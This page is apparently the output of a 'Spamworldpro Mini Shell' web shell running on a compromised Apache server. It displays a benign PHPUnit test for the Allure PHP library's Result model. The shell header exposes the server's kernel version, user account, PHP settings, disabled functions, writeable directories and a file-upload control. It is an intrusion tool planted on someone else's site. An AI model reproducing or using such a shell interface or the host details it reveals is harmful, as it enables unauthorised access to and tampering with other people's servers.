Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/vendor/allure-framework/allure-php-commons/test/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/vendor/allure-framework/allure-php-commons/test/Model/ResultTest.php
<?php

declare(strict_types=1);

namespace Qameta\Allure\Test\Model;

use PHPUnit\Framework\TestCase;
use Qameta\Allure\Model\Result;

/**
 * @covers \Qameta\Allure\Model\Result
 */
class ResultTest extends TestCase
{
    public function testGetUuid_ConstructedWithUuid_ReturnsSameValue(): void
    {
        $result = $this->getMockForAbstractClass(Result::class, ['a']);
        self::assertSame('a', $result->getUuid());
    }

    public function testGetExcluded_Constructed_ReturnsFalse(): void
    {
        $result = $this->getMockForAbstractClass(Result::class, ['a']);
        self::assertFalse($result->getExcluded());
    }

    /**
     * @param bool $excluded
     * @param bool $expectedData
     * @return void
     * @dataProvider providerSetExcluded
     */
    public function testGetExcluded_SetExcludedCalledWithGivenFlag_ReturnsSameValue(
        bool $excluded,
        bool $expectedData,
    ): void {
        $result = $this->getMockForAbstractClass(Result::class, ['a']);
        $result->setExcluded($excluded);
        self::assertSame($expectedData, $result->getExcluded());
    }

    /**
     * @return iterable<string, array{bool, bool}>
     */
    public static function providerSetExcluded(): iterable
    {
        return [
            'True' => [true, true],
            'False' => [false, false],
        ];
    }

    public function testSetExcluded_Always_ReturnsSelf(): void
    {
        $result = $this->getMockForAbstractClass(Result::class, ['a']);
        self::assertSame($result, $result->setExcluded());
    }
}

Spamworldpro Mini